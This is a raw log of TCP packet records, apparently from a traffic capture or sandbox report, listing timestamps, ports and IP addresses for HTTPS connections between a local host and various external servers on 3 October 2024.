Oct 3, 2024 17:19:54.982857943 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.983400106 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.983412981 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.984297991 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:54.984385967 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:54.984471083 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:54.984677076 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:54.984711885 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:54.986392975 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.986429930 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.986490011 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.986673117 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.986686945 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.061889887 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.062067032 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.062146902 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.062856913 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.062923908 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.065320015 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.065337896 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.065401077 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.065685034 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.065696001 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.103209972 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:55.103513002 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:55.103600025 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:55.104082108 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:55.104099035 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:55.105247021 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.105333090 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.105462074 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.105675936 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.105706930 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.106584072 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.106607914 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.106693029 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.106861115 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.106880903 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.117044926 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.117052078 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.117109060 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.117260933 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.117268085 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.238617897 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.238972902 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.238984108 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.239880085 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.239991903 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.240341902 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.240394115 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.240508080 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.240514040 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.247673035 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.247956038 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.247976065 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.248841047 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.248914003 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.250003099 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.250111103 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.250190020 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.263139009 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.263453960 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:55.263526917 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.264101982 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.264417887 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:55.264508009 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.264545918 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:55.292515993 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.292521954 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.292536020 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.308535099 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:55.308563948 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.340538979 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.391551971 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.391576052 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.391582966 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.391602039 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.391612053 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.391622066 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.391675949 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.391746044 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.392812014 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.392812014 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.394243956 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.394335985 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.394399881 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:55.395325899 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:55.395364046 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:55.406944036 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.406968117 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:55.407036066 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.407286882 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.407316923 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:55.483823061 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.484005928 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.484064102 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.484065056 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.484237909 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.484283924 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.484313965 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.484337091 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.485460997 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.485714912 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.485776901 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.486283064 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.486613989 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.486706972 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.486740112 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.487514973 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.487536907 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.487601042 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.487941980 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.487953901 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.502759933 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:55.502846003 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:55.502928019 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:55.503101110 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:55.503134966 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:55.518982887 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.519098043 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.519285917 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.527405024 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.532511950 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.552385092 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.552627087 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.552644968 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.553121090 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.553211927 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.554146051 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.554200888 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.554338932 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.554414988 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.554459095 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.563488960 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.563499928 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.595542908 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.595561028 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.600594044 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.600884914 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.600955963 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.601718903 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.601798058 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.602154016 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.602216959 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.602401018 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.602435112 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.607381105 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.607405901 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.607430935 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.607444048 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.607454062 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.607469082 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.607475042 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.607505083 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.607527971 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.641602993 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.641658068 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.641711950 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.641722918 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.641732931 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.641743898 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.641762018 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.641767025 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.641789913 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.641810894 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.643510103 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.643948078 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.669624090 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.669986963 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.670010090 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.670695066 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.671022892 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.671106100 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.671205044 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.676007986 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.676033974 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.676080942 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.676101923 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.676126957 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.676146030 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.701756954 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.702060938 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.702069998 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.703089952 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.703408957 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.703505039 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.703548908 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.707791090 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.707835913 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.707869053 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.707879066 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.707912922 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.707931042 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.711441040 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.711812973 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.711884022 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.732038021 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.732079983 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.732129097 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.732134104 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.732156038 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.747400045 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.753453970 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.753689051 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.753746033 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.754734993 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.754827976 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.755136967 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.755203009 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.755341053 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.755359888 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.755480051 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.756217957 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.756232977 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.756289959 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.756298065 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.772808075 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.773058891 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.773091078 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.774153948 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.774230957 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.775543928 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.775607109 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.775898933 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.775908947 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.779515982 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.779577017 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.779623032 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.779695988 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.779742002 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.779800892 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.780132055 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.782025099 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.782145023 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.782159090 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.782227993 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.782236099 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.782332897 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.782345057 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.787703037 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.787789106 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.793222904 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.793382883 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.793389082 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.793447018 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.797283888 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.797329903 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.797379017 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.797388077 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.797420979 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.797457933 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.799746990 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.799822092 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.803495884 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.807573080 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.807615042 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.807663918 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.807671070 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.807697058 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.819518089 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.819610119 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.819653988 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.819685936 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.819694042 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.819752932 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.831053972 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.831101894 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.831162930 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.831168890 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.831191063 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.834508896 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.834507942 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.834520102 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.834522963 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.836925030 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.837004900 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.837050915 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.837079048 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.837390900 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.837434053 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.837434053 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.837445021 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.837481976 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.837871075 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.839103937 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.839190006 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.839207888 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.839574099 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.839596033 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.839623928 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.839641094 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.839692116 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.839895964 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.841811895 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.841867924 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.841893911 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.841901064 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.841936111 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.843719006 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.843777895 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.843786001 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.843827009 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.852202892 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.852247953 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.852296114 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.852303028 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.852330923 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.852355003 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.862716913 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.862765074 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.862812996 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.862819910 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.862862110 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.866332054 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.866413116 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.866429090 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.866481066 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.866542101 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.866554976 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.867094040 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.867153883 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.867166042 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.867203951 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.867237091 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.867249966 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.867264032 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.867312908 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.867814064 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.868464947 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.868541002 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.868546963 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.868642092 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.868690968 CEST	56100	443	192.168.2.17	157.240.0.6
